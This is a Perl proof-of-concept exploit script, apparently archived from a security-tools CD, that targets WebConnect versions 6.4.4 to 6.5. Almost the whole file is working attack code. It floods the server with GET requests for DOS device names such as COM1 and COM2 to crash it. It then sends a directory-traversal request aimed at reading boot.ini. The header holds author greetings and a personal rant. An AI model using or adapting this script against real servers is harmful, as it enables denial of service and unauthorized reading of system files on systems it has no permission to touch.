home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / webconnect / webconnect.pl < prev   
Text File  |  2005-03-05  |  2KB  |  59 lines
  1. #WebConnect version 6.4.4 - 6.5 Proof of Concept
  2. #Coded bY ++Karak0rsan++
  3. #karakorsankara@hotmail.com
  4. #Usage:perl webconnect.pl [target] [port] (Default port: 2080)
  5. #Greetz:hurby,phalaposher,r3d_b4r0n,L4M3R,zeronc,Atak,sloan,emre,
  6. #fox and all my friends
  7. #Konak Anatolian High School - Prep/C Class
  8. #Sen kendini biliyosun,attigin kaziklari unutmuycam art├╜k okulda
  9. #yuzume de bakamiyosun.Masum suratina,gozlerine ALDANMISIM!
  10. #Herseyi sen baslattin sen bitirdin unutma;SENIN BENI BITIRDIGIN
  11. #YERDE SENDE BENIM ICIN BITERSIN!!!
  12.  
  13. $host=$ARGV[0];
  14. $port=$ARGV[1];
  15.  
  16. if(!$ARGV[1]){
  17. print "WebConnect 6.4.4 - 6.5 Proof of Concept\n";
  18. print "Coded by ++Karak0rsan++\n";
  19. print "Usage:perl $0 [target] [port]\n";
  20. }
  21.  
  22.  
  23. use IO::Socket;
  24. $socket = new IO::Socket::INET( PeerAddr => $host,
  25. PeerPort => $port,
  26. Proto => 'tcp',
  27. Type => SOCK_STREAM, );
  28. close($socket);
  29. if($socket){
  30. print "[+]Attacking...!\n";
  31. print "[+]Allah Allah edalariyla saldiriyoz cunku biz muslumaniz:)\n";
  32. }
  33.  
  34. use IO::Socket;
  35. for($i= 0; $i < 30; $i++)
  36. {
  37. $socket1 = new IO::Socket::INET( PeerAddr => $host,
  38. PeerPort => $port,
  39. Proto => 'tcp',
  40. Type => SOCK_STREAM, ) or die "Didnt Connect,Enter target address!\n";
  41. print $socket1 "GET /COM1 HTTP/1.0\r\n";
  42. print $socket1 "GET /COM2 HTTP/1.0\r\n";
  43. print $socket1 "GET /COM1.jsp HTTP/1.0\r\n";
  44. print $socket1 "GET /COM1.html HTTP/1.0\r\n";
  45. print $socket1 "GET /COM1.smurf HTTP/1.0\r\n";
  46. close($socket1);
  47. }
  48. $socket2 = new IO::Socket::INET( PeerAddr => $host,
  49. PeerPort => $port,
  50. Proto => 'tcp',
  51. Type => SOCK_STREAM, );
  52. print $socket2 "GET 
  53. /jretest.html?lang=&parms=default&WCP_USER=..//..//..//..//..//boot.ini&action= 
  54. HTTP/1.0\r\n";
  55. close($socket2);
  56. print "Attack finished ;)\n";
  57. exit();
  58.  
  59.